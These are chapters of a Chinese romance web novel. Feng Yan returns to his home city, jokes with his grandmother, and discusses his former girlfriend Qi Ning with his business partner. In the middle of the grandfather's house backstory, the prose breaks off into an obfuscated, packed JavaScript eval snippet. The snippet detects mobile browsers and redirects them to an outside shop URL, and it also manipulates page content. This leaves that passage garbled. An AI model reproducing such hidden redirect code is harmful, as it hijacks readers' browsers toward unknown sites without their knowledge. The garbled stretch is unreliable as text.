具体内容她记得不太清了,只能想起来他语气欠欠的,透着几分不走心的疏懒散漫,隐隐还有点不屑一顾的意思。 那段时间很奇怪,可能是柠檬虾太火了,她经常能听到有男生讨论,喜不喜欢吃啊什么的,说不了几句又开始挤眉弄眼打眼神交锋。 还是第一次听到这么清晰干脆的答案。 封砚说完之后,男生们互相推搡笑笑,又转向别的话题,似乎没人把他说的当回事,该大口吃虾大口吃虾,连柠檬都嚼了吞下去,大胆无畏,狂得很。 戚柠盯着餐盘里满满两格的柠檬虾,却犯了难。 等米饭都吃完了,她还在纠结,于是又坐在位置上犹豫了五分钟,最后还是惜命地没敢吃。 她是那种很容易相信别人并且不会生疑的人,从那以后意志坚定,再也没去排队打过柠檬虾。 但现在……戚柠突然有点怀疑了,是哦,如果柠檬虾有毒的话,食堂怎么敢做出来让学生吃? 她决定等会儿上网搜搜看,求证一下。 “还有其他问题吗?”封砚轻咳了声。 戚柠回神,嘴巴快脑子一步:“有。” 他颔首,示意她问。 “你不是手机没电了吗?” 在医院,挂号拍片拿药都是他用手机付的钱,她看见了,电量足得很,有98%。 封砚深深看着她:“我可没这么说过。” “……”怪她自己脑补。 戚柠鼓了下嘴:“医药费需要我还给你吗?” “不用,就当谢谢你的早饭。” 拿两万多的医药费抵一千多的早饭钱,真慷慨,不用就不用。 戚柠动了动腿,调整坐姿,“最后一个问题,你是看到鲤鲤po的照片了吗?” 她没提什么照片,封砚竟也知道:“是,婚纱很漂亮,很衬你。” 戚柠腾地脸红了。 只听封砚再次问:“所以你是伴娘吗?” “嗯,”她小声解释着,其实也不太知道自己在说些什么,“表姐说那件很适合我,就试了下,后来表姐买给我了,说等结婚时可以穿。” 封砚沉吟:“可以当备选。” “什么?”戚柠没听清。 说话间,手机铃声响了,他的。 封砚掏出手机看了眼,海外号码,她猜应该是工作电话,他没接也没挂断,任铃声响着,视线落在她脸上:“谢谢你送我回来。” 戚柠知道这是结束话题的意思,连忙直起身,准备着道别。 封砚特有的,天然带着蛊惑感的腔调继续在她耳边浮响: “还如此周到,特地绕大半个城请我吃小馄饨。” “既然你这么有诚意。” “盛情难却。” “看在小馄饨的份上。” “我就勉为其难考虑一下。” “你向我求婚的事情。” 7. 混不吝 栖星公馆是建在老城的一座高档小区,小区绿化做得不错,环境清幽静谧,安全性能高,小区内还配备有医疗、健身、康复、文娱等设施,低调安逸、生活便利,挺适合养老。 封砚他姥姥,封桂英女士就住在这儿。 封砚从小跟着姥姥姥爷在北方长大,初中随姥姥工作调动从池安市搬来花汀市后,周末经常不请自来,跑这边混饭吃。 他北方胃,吃不惯花汀这边所有菜里都要搁点糖的甜腻腻口味。包子皮儿是甜的就算了,肉馅居然也是甜的,就说离不离谱。封少爷刚来花汀头三天,硬生生饿瘦七八斤。 封桂英女士厨艺也平平。封少爷捏着鼻子赖在栖星公馆吃了一礼拜,好说歹说养回点肉,不想一扭头,身子骨向来硬朗的小老太太竟饿晕了过去。 到医院一查,说是低血糖营养不良,得,刚满14岁的封砚被迫扛起烹饪大计,练就一手好厨艺。 家里也请了煮饭阿姨,但只有独得姥爷路向东真传的封砚,能烧得出桂英女士惦记的味儿。 所以,与其说他周末是过来蹭饭,倒不如说是来彩衣娱亲,顺道慰藉下小老太太半点将就不得的胃。 扯远了—— 出国前,封砚大半时间都在这边住,算是熟门熟路。 一路顺顺当当刷脸上了楼。 谁料,到家门口竟被拦住了。小老太太不知道什么时候把密码锁上他的指纹给删了。 春寒料峭,阴雨连绵,身娇体贵的封大少爷,穿着身与时节不符的短袖短裤,穿堂风一晃而过,衬衫鼓起,那点真丝布料聊胜于无,大少爷就这么举着手机,在楼道里讲了两个小时的工作电话,才终于把封女士给盼了回家。 “哟,这不是我们老封家出国镀金喝洋墨水的金蛋蛋吗,怎么不声不响回来了?还穿这么寒碜,别是你那小公司破产了,连条裤子都买不起了吧?” 桂英女士的嘴一如既往毒得很。不愧是在大学讲当代文学史的小老太太,口角生风,哪怕退休了,讽刺人的功力也没退化半分。 封砚刚在电话里解决了个棘手难题,心情正好,也跟着贫: “没办法,谁让您孙子在国外没钱没人脉,拉不来投资,又狠不下心来卖屁股以色侍人。我左右一合计,还不如滚回来啃老,安安分分当个二世祖,继承亿万家产。” 封女士啪叽在他胳膊上就是一巴掌。 “我们老封家世代清白,你要是敢在外头给我乱搞男女关系——” “啧,”封砚连搂带抱,把小老太太推进门,进门第一件事就是打开中央空调,调出暖风,这才不紧不慢打断她的话, “您这堂堂Q大汉语言文化学院前任副院长,我看名不符实吧?中文阅读理解能力也就一般般么。” “男男关系你更是想都别想!”小老太太一掐腰,开始假意抹泪: “不是我瞧不上你们那破圈子,我敢打包票,里头没几个私生活干净的。回头万一染上烂病,死又死不了,活又不招人待见,摊上你这么个孙子,以后我都没脸去见老姐妹们,抬不起头。” 封砚被她一番唱念做打、声情并茂的唾骂逗乐了。 “什么你们我们的,能不能别啥臭帽子都往我头上扣。您孙子玉洁冰清,还是一清白得不能再清白的纯情处男,倒是想毛遂自荐献身,这不是还没找着机会么。” 见小老太太眼神一瞪,又要开炮,他赶紧连连讨饶: “得得得,从今天开始我就守身如玉,誓死守护好咱们老封家最后一枚金光闪闪的童子身成吗?” 封女士又不依了:“这恋爱该谈还是要谈,二十多岁,正是谈恋爱的时候。这年纪,要事业没事业,想装纯又不够水嫩,再不谈个情说个爱,活着还有什么劲头。” “亏您还是高知分子呢,一天天要死要活的,也不嫌晦气,我这不是想谈谈不上吗?” 封砚打开冰柜门,往水杯里丢了块冰,嘴上依旧没个正形,“我劝您别闲操心了,不定哪天我一急眼,直接扯了证,把孙媳妇往跟前一带,到时候你可不兴挑三拣四挂脸子啊。” “哟嗬,听这话音,有情况?”眼瞧人没交代的意思,封桂英及时转了口,“行吧行吧,姥姥不打听,你们年轻人自个牵缠去。” 扯这么半天,小老太太总算听到一句可心话,挥挥手,也不跟他逗闷子了: “我就知道,你这幼儿园就懂讲冷笑话逗小女生开心的混不吝做派,感情上怎么可能半窍不开一窍,说起来,我最愁的还是你哥……” 封砚刚要反问“我给谁讲冷笑话了?”就听见后半句,乐得把亲哥拎出来分散注意力。 他挑起一边眉梢,接着,语重心长长叹一声:“我就说您阅读理解能力欠佳吧,您还不承认。” “啥意思?”老太太瞪眼。 封砚故作高深。 封桂英一把拽住他胳膊,不许他溜。拉扯间,她又把两人的对话反复琢磨几遍,陡然一激灵,震惊: “你是说,你哥他……身子不干净了?” “噗——” 封砚进门新接的热水,好不容易冰到能入口,刚送进嘴里,耳边就传来小老太太语不惊人死不休的金句,惊得猛咳几下,差点没把自己呛死。 小老太太一看他这反应,就知道八九不离十,登时捶胸顿首,那叫个怒其不争: “我一早替他相中了个媳妇,特水灵一闺女,又美又仙,好看的哟,要多养眼多养眼,就差正式介绍俩人见面了。如今他品行有失,这不是作践人姑娘吗?” “停,打住,窜频道了啊,这段时间没少听你那‘霸道王爷狠狠宠’吧?都什么年代了,您老思想能不能别这么封建。” “这么说,你觉得他俩还有戏?” 封砚好笑道:“我今早六点刚下的飞机,您看我像了解情况的人吗?” “我这儿有女孩照片,”封桂英思忖着,也得听听年轻人的意见,“不然,你看下帮我参谋参谋?” “可别,我嫂子的照片,还是让我哥自个儿欣赏去。” 封砚一口气喝完杯里的水,才感觉整个人暖起来,他从中岛台上直起身,抬臂捏了捏后颈,“不贫了,我回房冲个澡,眯一会儿,红眼航班真不是人坐的,困死了。” 边说边抬腿朝卧室方向走。 房子是五室两厅三卫的格局,书房和影音室各占一间,其余三间拿来当卧室。 装了270度环幕落地窗的主卧归封桂英女士住,封砚挑走了带景观露台的侧卧,剩下那间,原来是客人房,后来随着小老太太年龄迈入七十岁大关,搬进了住家保姆。 封砚的卧室在最里侧,私密性和隔音性也最好,房间装的是隐形门,平时不打开的话,从外面看就是一堵墙,足够隐蔽,适合洁癖综合症患者——封大少爷住。 到了门口,大少爷扭头见小老太太步履生风撵了过来,怕她摔了,忙劝道,“您该嘛嘛去,不用管我。” 封桂英似有难言之隐,脚下不停。 在她一迭连声的“哎”中,封砚伸手推开了门。 房内摆设如初,打扫得很干净,床上被褥平整,几乎没有任何褶皱,但他还是敏锐觉察出不同。 枕头上沾了一根极细的长发丝,不易察觉,几乎与深色枕套融为一体,明显是有人睡过的痕迹。 呼吸间,鼻翼萦绕着的淡淡少女香气,更进一步印证了他的猜测。 “屋子有人住?”封砚回头。 “没,没人住。” 小老太太原本还想糊弄过去,可又实在了解眼前祖宗的脾气,不解释清楚了,这人非得大动干戈,把床给换了不可。 这张床还是封砚出国前一年新买的,光床垫都花了大几十万,前前后后加起来,他拢共也没睡够三个月。 就因为被人躺了一下,说扔就扔掉,对于勤俭朴素一辈子的老太太来说,简直是造孽。 她犹豫了几秒,终是实话实说。 “这不是前天,汀大120周年校庆,我跟几个老姐妹过去聚了下。结束得有点晚,我就住泊云湾那边了。” 封砚掀了掀眼皮子,脸上似闪过一丝异样,但很快恢复自然。 他贴心拖了把椅子让老太太坐下,抱臂斜斜倚在门上,递出个眼神,示意她接着说。 “结果早上四点多,迷迷糊糊地忽然惊醒,想起来书房阳台的窗户没关。我那几盆建兰马上到花期,尤其是那株五岳麒麟,养了几年才终于结花苞……我越想越睡不着,怕再把我的宝贝疙瘩给冻了,就舍了老脸让人给我送回来了。” “你说那个时间点,还折腾麻烦人家,我心里怪不好意思的,就让她躺你那屋眯了会儿。原本约了保洁周五来打扫卫生,哪想到你……” 她瞅了他一眼,后面的话没往下说,但露出来的意思已经很明显。 全怪他自己回来得不凑巧。 “凤姐呢?”封砚不赞同地皱了皱眉,“你这大半夜的来回跑,也不怕出事儿,花重要还是您身体重要?” “你凤姐家里有事,我给她放了一周假,大后天回来。” 封砚点点头,脑子里过一圈,又找出她话里漏洞,“您有泊云湾那边钥匙?” 泊云湾那房子,是他姥爷路向东在汀大教书时买的特供房,后来老两口服从单位调动,随工作搬去封桂英的老家池安市,这房子就一直空着。 等他读初中,刚巧退休在家的封女士,接到了隔壁Q大的返聘邀请。祖孙俩一起搬回了花汀。家里人怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670594|144148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小老太太触景生情,另外置了套房子让她住着。 后来,他在汀附中读高中时,偶尔会去泊云湾那边住。 九十年代的小联排,老是老了点,但房型结构和建筑品质一流,至今都还是某房地产商的施工标杆。 不过长久没人住,家具都不能用了,搬进去之前又里里外外翻新一遍,连门也换了。 封桂英做主把房子过户在他名下,存了挥别过去朝前看的意思,坚决没要钥匙。 被他这么一问,小老太太果然眼神闪烁,支吾道,“我在一学生家里住的。” 封砚表情顿了下,才问:“哪个学生?” “也是她送你回来的?”他多聪明的人,迅速反应过来,“不会是我那又美又仙的准嫂子吧?” “是。”既然都说破了,封桂英也不瞒他: “我想着以后都是一家人,让人睡沙发显得跟外人一样,多不合适。你毕业后也一直没回来,在国外开公司开得风生水起,谁晓得是不是拿绿卡打算移民。房间空着也是空着,让人睡一晚也不是多么大不了的事儿,你说是吧?” “您可真行。” 封砚直接气笑了,“这准嫂子还没跟我哥见过面呢,您先送我床上,到底是打算介绍给哥哥还是弟弟,您想清楚了没?” “你这孩子,怎么说话的?!”轻嘴薄舌,简直不堪入耳。 老太太气得站起来,又恼又悔,“你在外面多混账我管不着,咱老封家世代都是正经人,你要敢学西街老陆家儿子犯浑,看我不打断你的腿。” 老陆家儿子撬表哥墙脚,睡了人家谈了十年的女朋友,还被表哥当场捉奸的事儿,可以说是轰动池安市整条西街的惊天大新闻。 当时还在读小学的封砚,半夜不睡觉,心血来潮爬起来拿望远镜观星。 星星没观着,低头往阳台下面一瞅,正好看见表兄弟俩在楼下大打出手,于是热心帮忙报了警。 “完啦完啦”的警笛声中,整条街都被惊醒。 小街无私事,随着警车目的明确地稳稳停在街头,家家户户无不全员出动一探究竟。 一场原本可以私下解决的恩怨,就这么被迫公之于众。 封砚摸摸鼻子,后之后觉意识到他话有点过。不过,老太太也忒能联想脑补,一看就没少被那些无良小说荼毒。 “您多虑了,我跟我哥的审美南辕北辙,压根就不是一挂的。我嫂子再美再仙,在我眼里也就是根木头桩子,上面还写了我哥名字的那种,不会让咱老封家上花汀社会头条的,您一百个心安回肚里。” “我保证以后见到我嫂子,眼睛都不带一点斜视的,比看见佛祖还心如止水,总行了吧?” 封砚又是滑跪认错,又是发誓讨饶的,磨破嘴皮子说了一箩筐好话,才算终于把小老太太哄开怀。 外面雨半点没停的意思。 天儿这么差,找人来上门打扫卫生委实有些不地道。 按老太太说的,他准嫂子是和衣躺了不到一个小时,脑袋还没刚碰上枕头就起了。 可封砚还是怎么想怎么别扭,尤其是空气里弥漫着的淡淡香气,他闻着闻着竟然觉得还挺好闻,似曾相识,有点上头。 这诡异的念头更让他心里发毛。 什么破鼻子。 香的臭的都分不出来。 懂不懂什么叫瓜田李下,嫂叔不亲授,长幼不比肩。 他表面敷衍老太太,答应得好好的绝不介意,实际上心里已经拿定主意,决心明天就联系人把床给换了。 房间不能睡,书房沙发床又不想勉强身体受那个委屈。 封砚跟封桂英女士打了声招呼,索性拎上换洗衣服,去附近酒店开了个房间。 路不远,他撑伞腿着过去的。 伞还是戚柠给的那把,荧光粉的伞面,零星点缀着卡通简笔画涂鸦,估计也只有幼稚园一年级小朋友举在头顶,才会显得不那么违和。 封砚这一路走过去,回头率百分百,要多引人注目有多引人注目。 不过封少爷也不在意,走得那叫一个闲庭信步。 老话怎么说的,只要你不尴尬,尴尬的就是别人,只要你帅到一定程度,做什么都一定有你的道理。 前台办理入住,等待的工夫,已经有不下四个人来问他要伞的链接。 没有一个觉得他这身行头不伦不类,全都是不约而同上来就夸他很有品味。 封砚则浮皮潦草回过去一眼,高悬的吊灯光影明昧,朦朦团在身后,衬得他睇来的目光都透着股多情似无情的意味。 他声线懒散,辨不出几分真心,口径统一,对每个都没什么诚意地回: “不太清楚,回头我帮你问下我未婚妻?” 8. 豆腐花 封砚有时候真的挺怀疑,花汀不是南方城市吗,都四月下旬了,为什么下个雨能这么冷。 记得他读初中刚搬来花汀的时候,还被封桂英女士调侃过:“总算回到你第一故乡了,花汀市气候温暖湿润,是比池安市宜居。” 因为从小不咋抗冻,封砚结结实实被小老太太嘲笑过无数次,说他是个假北方人。 这话倒也没法反驳,他在花汀出生,按照籍贯来说,确实是南方人。 可等真正在花汀长居后,从内到外每一个器官都在告诉他,他有多不南方。 先是饮食吃不惯,再就是气候不适应。 池安市的冬天冷是冷,但哪哪都通暖气,花汀的冬天才是冻到骨子里的又湿又冷,全靠身体硬扛。 在花汀的第一个冬天,封砚就因为冻感冒进了三次医院。 其实,倒不是他身体素质不行。 双胞胎嘛,小时候身子骨是弱了点儿,可封砚从小跟着姥爷打太极练散打,再大点学滑雪学击剑玩跑酷,篮球台球橄榄球,他天生运动技能满点,跟体育沾点边的,基本没他学不会的。 体格练也练出来了。 封砚的最大问题在不爱穿衣。不管啥季节,永远的短袖加外套,最多就是内搭换成衬衣或薄卫衣。任它气温再低,也甭想让他多添一件。 大少爷矫情,穿多了嫌累赘,不方便运动,脱脱穿穿的折腾又麻烦,忒不雅观。 宁可冷着抗冻,也不要厚实保暖。 办理完入住,封砚接过身份证和房卡,面无表情提伞上楼。 一直到进了房间,才终于肯卸下偶像包袱,轻微地,不易察觉地打了一个极小的寒颤。 外面起了风,雨丝鼓劲地往伞下吹,湿漉漉打在胳膊上又冰又凉,封砚表面看着意识还在,但身体已经走一会儿了。 按开淋浴,他舒舒坦坦洗了个热水澡,又叫客房服务送来一杯热可可,竖起枕头坐在上床,准备玩儿一局贪吃蛇,关机睡觉。 完美的安排。不巧的是,才刚点开游戏,屏幕上方就进来通电话。 贺边玟的。 实话说,封砚不是很想接,因为他真的又困又累。 连轴转了一个多月,几乎每天都在出差,跟意向合作商讲概念、聊合作、谈展望,好不容易磨完条款,签了协议,又马不停蹄召开项目启动。 白人喜欢日光浴,会议首选地点是海边度假村。造势嘛,肯定动静越大越好,越能增强信心和凝聚力。 选来选去最后选到了泰国。 从LA到Phuket,二十多小时的航程,封砚昨天下午五点刚落的地,飞机上都还在忙着敲键盘回邮件。 老外们精力是真旺盛,也不休整,当晚就要先来个轰趴预热。 封砚作为老板之一,自然不能缺席。 天边火云如烧,沙滩热浪翻涌,重金属音鼓噪,各色海鲜烧烤水果甜点铺满餐台,香槟干红生啤鸡尾酒轮番上场,端着酒杯一圈走下来,躯壳和灵魂几近分离。 后来好不容易找机会抽身,躲闲在躺椅上打了个盹,半醉半醒间,听着员工们一浪高过一浪的狂欢声,封砚揉揉生疼的太阳穴,头一次感受到了什么叫为工作卖命。 更别提酒精冲脑下,临时起意,搭午夜航班回国。 又是一夜没睡。 可能是人一回到熟悉的地方,见到熟悉的人,就容易好逸恶劳。封砚现在只想蒙头长睡不起,管它屁的公司,不如破产倒闭。 但—— 成年人总是要为自己的选择和决定负责。 他长叹一口气,在铃声挂断前最后一秒,认命右滑接听。 “不好意思,又是我。”贺边玟嘴上说着不好意思,语气里却不见半点歉意,听着更像是欠揍还差不多。 封砚左手抄起热可可,叼住吸管,从鼻腔里挤出点音响,示意对面他听着呢。 声色犬马里泡出来的贺公子脑回路想当然跑歪了,暧昧笑一声,不怀好意试探,“没打扰封少的好事儿吧?” “有事说事,没事挂了。” 封砚不接茬,没空跟他胡侃。 “别介,”贺边玟越发来劲儿了,“这么强的怨念,欲求不满啊?我原以为封少这次够魄力,连夜回国,必须得跟小初恋相逢一炮泯恩仇,看来,还是我高估了CIT第一纯情处男。” 手机里传来嘟嘟几声。 在他说到“相逢一炮”四个字的时候,封砚已经毫不留情地把通话给掐了。 贺边玟立马回过去,那边又掐。 直到他打第四遍,封少爷才终于大发慈悲接通,并且一上来就无情警告:“给你一分钟,捡重点。” 虎口拔须的滋味固然刺激有趣,但也得分情况。 贺边玟向来识时务,能屈能伸,一秒切回主题:“给你订了明一早的机票,Leon这个人太难搞了,我投降,你赶紧麻溜给我滚回来。” 听筒里短暂沉默,封砚突然问:“Lucy在你旁边吗?” “没啊,”贺边玟纳闷,并十分之无语,“我都hold不住的场,你不会觉得她一小姑娘能吃下吧?走色.诱这条路,Leon喜欢的也不是她那款啊。” “不,你去问她要一份人事管理台账。” “什么台账?你不是打算现捞人顶上吧?Tina?Chen?Evan?都不太行吧?” 封砚由他乱猜,也不搭腔,悠闲自得地慢品着手里的热可可。略苦,奶味偏淡,口感也不够细腻丝滑,他嫌弃地皱了下眉,又喝一口,才将剩下的大半杯丢回桌上,顺手关掉空调,凉声提醒: “如果我没记错,岗位职责上写得很明确,跟Leon对接属于你的工作范畴。” 搞半天,兜了一大圈子,落脚点在这儿。 贺边玟也是够服气的,有个文学院副院长姥姥了不起呀,拐着弯骂起人来,话术一套一套的。 他还一肚子火儿呢,要不是封砚抽风,这会他不定搂着妞在哪儿潇洒,多快活。 “是我主动撂挑子吗?一个月前,是谁跟被下了降头似的,着急忙慌地赶进度促成项目落地?也成,项目黄了就黄了,反正一门心思打算借这个项目,把公司业务重心转到国内的人又……” “几点?” 封砚骤然出声。 贺边玟冷哼一声,见好就收:“八点十分,别忘了定闹铃,三个起步。对了,Leno刚问起什么偏振光学折叠的几个参数,问得我头大,你那边有现成的数据吗?” 数据自然是有,都在脑子里。 两人就这个话题又延伸聊了会儿,封砚大致描述了下预期效果,以及实际应用场景,目前市面上已有的成品参数设置。 贺边玟头大如斗:“说人话行吗?” 封砚不再浪费唇舌,手机撂一旁,捞来笔电,开机,现场给他跑了一串代码,三维立体模拟。邮件发过去,贺边玟下载后看也不看,直接一键转给Leno。 终于搞定,贺边玟那叫一个神清气爽。 挂电话前,在缓口气把妹小酌和礼貌性关心兄弟之间,他犹豫了下,本着人道主义精神,勉为其难地选择了后者。 “正经事儿扯完了,小小八卦一下呗,你这冷不丁闪回花汀,真是因为那个叫戚柠的小初恋?” 话递出去,大少爷根本不睬他,但手机也没挂,或许,这已经是个信号,表示可以继续。 贺边玟善解人意,继续深入:“婚宴怎么样,中式西式?不是五月底吗,难不成提前了?你登机前也不说换身行头,当众抢亲的话,花衬衫恐怕压不住阵吧?” “还是说日期不变,人妹妹婚前恐惧症发作,给你发消息求助,喊你带她私奔?” “要真是这样,我高低得劝一句,少爷咱真舔过头了。倒贴都没这样的,被甩了多少年了,人一条不明不白的消息,就巴巴上赶着当备胎,好歹也是CIT榜上有名的高岭之花,能不能别这么掉价。” 贺边玟也不管封砚接不接招,自言自语,一个人就把舞台架了起来。 真真假假来回反复试探,嘴都说干了,也没能从少爷嘴里套到半句真话。 连假话也欠奉。 电话还通着,说明封砚在听,可人又不吱声。 他是真有点号不准脉了。 贺边玟跟封砚算半个发小,父母住得近,在一个别墅区。封砚寒暑假回花汀小住,见过几次面,一起打过几次游戏。 实话说,他对封砚的初印象相当不错。 外形那些最基本的就不提了,提也是白给少爷脸上贴金,单说内在,人敞亮,能玩会玩儿,做什么都要做到极致,不在乎他人眼光,活得明亮热烈,关键时刻又很能靠得住,家教也好,反正比那个孤傲冷僻的江妄屿好一万倍。 那会儿小屁孩,还没听说过“向下兼容”这个词,当然,搁现在,贺边玟也坚决不承认,封砚的阅历和情商远在他之上。 但不得不说,当时,他确实感觉跟封砚挺合拍的,投缘,相处起来格外轻松自在。 后来俩人一个初中,正式认识了,他才发现,其实这厮私下挺少爷脾气的。 对不感兴趣的事儿耐心不多,不高兴的时候有点傲,小事从不计较,但谁真得罪狠了他,也绝对不会让对方好过。 再之后,高中没在一个学校。 虽然周末偶尔也会约着打打球玩几把桌游,但男生之间,话没那么密,彼此生活丰富多彩,还要抽空应付学业,考虑出国还是高考,一起玩得少了,渐渐也就没那么铁了。 两人真正“熟”起来,还是在洛杉矶。 留学生圈子小得可怜,出国没多久,贺边玟就从女朋友口里听说了封砚的大名。 那任女友是个韩国妞,太能吹,一堆溢美之词,把封砚形容得比神仙还神仙,搞得贺边玟还暗地较劲了一把,之后更是想方设法组了个局,出尽风头,打算当众狠狠削他一顿。 结果显而易见,封砚压根没去,人跟一群职业赛手飙野雪去了,回来后就是期末考,少爷轻轻松松拿了全A+。 怎么说,有种目空一世,根本没把他当盘菜的意思了。 更让人郁闷的是,封砚对这出戏码竟然毫无印象,事后问起一脸懵,完全不知道发生过这茬。 一起合伙开公司就更是凑巧。 贺边玟这人挺爱玩的,涉猎广泛,但于他而言,泡妞赛车赌球蹦迪都是业余消遣,能称得上爱好的也就一个,打游戏。 那次他偶然听说封砚在跟人搞VR/AR技术研发。 这俩词儿刚上大学那两年特火,贺边玟也被铺天盖地的宣传吸引,买过几款头显设备。可惜体验感一般,设备重不透气,屏幕刷新率低,戴久了头就晕,内容创作也有限,玩又玩不爽,没劲。 如果是别人说要搞这个,贺边玟大概会撇撇嘴,心想又是虚头巴脑的玩意,打着新概念旗号画大饼圈钱。但不知道为什么,封砚身上就是有种信服力,让你觉得这个项目一定能成。 贺边玟找上他,连具体情况都没打听,就投钱掺合了进去。 果然,才不过四年,大赚特赚。 总而言之,这少爷有独一套的生存法则,游走在规则之外。不混圈,不热衷社交,偏偏人缘巨佳,到哪儿都吃得开,又不是死读书的迂腐派,信仰冒险主义,做什么都心怀热忱、一往无前。 只能说,特鲜活通透一神仙。 可就这么朵各肤色女孩前赴后继都追不到手的高岭之花,偏偏栽在个名不见经传的柠檬身上,还是颗陈年柠檬,酸不拉叽,底味发涩发苦的那种,不能不说让人大感意外。 什么初恋、什么被甩,还有五月底结婚,全是贺边玟凭借一流洞察力分析得来的,估摸着,离事实就差一个封砚点头承认的距离。 这回好不容易有点戏,大少爷给面子,肯听他哔哔叭叭了,结果闹半天是出哑剧。 既然没热闹可看,贺边玟也不留口德了: “不会是你屁颠屁颠连夜回国,却发现人妹妹不过随手一撩,其实转眼就忘,没放心上。分手后这些年,妹妹生活依旧多姿多彩,身边追求者不断,缺你一个没差,腾不出地儿给你献殷勤吧?” 这话损是损,但贺边玟并不是全无分寸。 封砚是什么人,就冲拐弯抹角打听来的那些消息,以及亲眼见证过的,大少爷分手出国后的狼狈相,以同为男人的耻辱心,他敢担保,少爷绝对没可能吃回头草。 他故意往反了说,是因为对于有一定资本的男人来讲,舔狗不仅不是贬义词,还是种光环,证明这人深情。 同样,也正因为太清楚,这标签压根跟封砚不搭噶,他才有胆子一遍又一遍肆无忌惮贴脸开大。 他不怕死地接着洗涮:“坦白说,就冲人对你不屑一顾的淡然劲儿,我倒真有点想见见这位传说中的妹妹了。” “——你见过。” 电流音涌入耳道,贺边玟惊得耳机都掉了一 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贺边玟挺愧疚的,毕竟封砚受伤是为了救他,基本上每天都要跑过去一趟,陪大少爷打打游戏,消磨时间——别的不说,大少爷游戏库是真全,什么类型都有,手柄反应也快,体验感爽爆。 除了打游戏,俩人还有一大乐趣,就是看邻居家的小仙女走正步。 小仙女是真仙,长发飘飘,脸蛋巴掌大,肤白胜雪,太阳底下能透光,哪怕看不清五官,单凭那细枝嫩条的玲珑身段,也能辨出,至少是个级花级别的人物。 小仙女似乎小脑不太发达,笨笨的,踢正步时,经常同手同脚。 不过她很勤奋,还刻苦,一看就是那种家教严格,一路听话长大的乖乖女,每天坚持不懈练习,态度认真端正,半点不见敷衍。 次数多了,贺边玟感觉自己都受影响,手脚不听使唤,乱搭配出场。 不过话又说回来,小仙女清纯恬静,明显是林黛玉风格的病美人,柔柔弱弱,在她面前打个喷嚏都生怕把她吓到,怎么会? 这实在跟脑子里“把封砚绿了又踹了”的鼎鼎有名的初恋对不上号。 贺边玟大感意外,没忍住再次确认:“是她?” 封砚轻轻“嗯”了声,思绪飘远。 他放任那些刻意遗忘的画面在脑海奔涌流淌。好的坏的,初遇到重逢,每一个场景都是如此清晰、细节,如同昨日刚刚发生。 六年了,她看起来居然一点没变。 虽然头发又养长了,还学会了化淡妆,穿衣风格也略有变化,但他一眼就能认出,她还是她。 依旧小孩心性,心思浮白透明,想的全都写在脸上,几乎每一个小动作小表情,都能唤醒他潜在的肌肉记忆,牵动他必须要拼命伪装,才能维持冷硬的心房。 但也正是她脸上毫无隔阂的纯粹笑容,见面后,全然不计较过往的喜悦和真诚,让他心脏微微刺痛, 不得不清醒过来,承认—— 他们那段感情,还有他,对她来说,根本无足轻重。就像贺边玟说的,她转眼就忘,半点没放在心上。 那些接连不断的电话,一个比一个主动热情的追求者,也在向他展示,她一点不缺人爱。没了他,多得是人上赶着为她冲锋陷阵、赴汤蹈火。 他以为他是特殊的,被她独一份的全身心信任并依赖。 但其实,她只是习惯了在遇到麻烦后,有人出面为她收拾乱摊子处理好一切。那个人是他或者谁,无关紧要,甚至,没了他们,她自己也能很好地和平解决掉。 记得前年去朋友家做客,在露台中央,他看见了一盆正在盛放的微型白色花海,花形类似栀子和茉莉,轻盈地舒展在绿叶间,清新淡雅,细腻柔软,让人心生好感。 封砚忍不住拿手去碰,却被友人阻拦,友人告诉他,这花学名叫狗牙花,也称豆腐花,属夹竹桃科,枝叶带毒。不能碰。 那瞬间,封砚想到了戚柠。 她就像这豆腐花,表面看起来软弱可欺任人摆布,但那些全都是迷惑人的假象。 在自然界,每种生物都有自己的警戒色,也叫保护色。 弱就是她的保护色,更甚者,是她猎杀食物的绝佳诱饵。 引诱你放松警惕,释放善意,然后,在最不设防的时刻,狠心绝情地你致命一击。 “那你回国,是因为……” 贺边玟左思右想,依然觉得不可思议,明知道封砚这会儿可能在想心事,不宜打扰,还是没忍住出声破坏气氛,“你准备……拿她怎样?” 报复的话,也太残忍了点。 想想小仙女那孱弱模样,哪怕在男女关系一向没什么道德可言如他,也不禁心尖一颤,有点狠不下心。 可如果……那画面更不敢想。 应该不能吧,如果这都能忍,也真有够窝囊。 琢磨来琢磨去,还是第一种可能性最大。 贺边玟不由地微微扬声,企图用美好爱情唤醒兄弟良知,救小仙女于水火: “其实,高翎小师妹挺不错,虽然不是小白花款的,但也是长发美女,而且有段时间,你俩不走挺近的,我看你对她也不是没有……” 正说着,他视线无意落在屏幕上,发现早在一分钟前,封砚已经给他挂了。 封砚是接了通亲妈的来电。 两人有一搭没一搭聊了几句,对面察觉他的心不在焉,没说什么,只嘱咐了声让他好好吃饭、注意休息,便结束了通话。 之后,空气重归静谧。 封砚握着手机,屏幕外溢的白色荧光打在他脸上,辨不出表情,他就这么眼睁睁看着它熄灭,直至所有情绪再度隐入黑暗,依然迟迟没做出下一步动作。 他没再给贺边玟打回去。 在切电话前一秒,他听见了那边抛过来的最后一个问题。 拿她怎样。 封砚也想问自己。 在还没有学会利益权衡的年纪,就已经毫无保留地把真心奉送,心甘情愿,倾尽所有。 等长大后,终于幡然醒悟想要收回,沉默成本已不是主要需要考虑的东西。 那些无法割舍的,她毫无心防的灿烂笑容,绝对信任,少年冲动意气,心动难捱,这辈子再也不可能有第二次的热烈赤诚爱意…… 以及以及,那些阴暗的,不可见人的,隐秘疯张的嫉妒和占有欲。 爱恨交织。 根本分辨不清,是执念还是牵挂,是遗憾还是不舍。 是耿耿于怀, 还是,心不由己。 9. 保质期 雨落了一整个白天,终于在半夜悄然停歇。 天老爷像是不愿花汀过早入夏,想要收敛步伐,之后连着几日天都阴沉沉的,不见个太阳。似要放晴,又似还要落雨。让人怀疑它是不是有什么悬而未决的心事,犹犹豫豫,难以裁断。 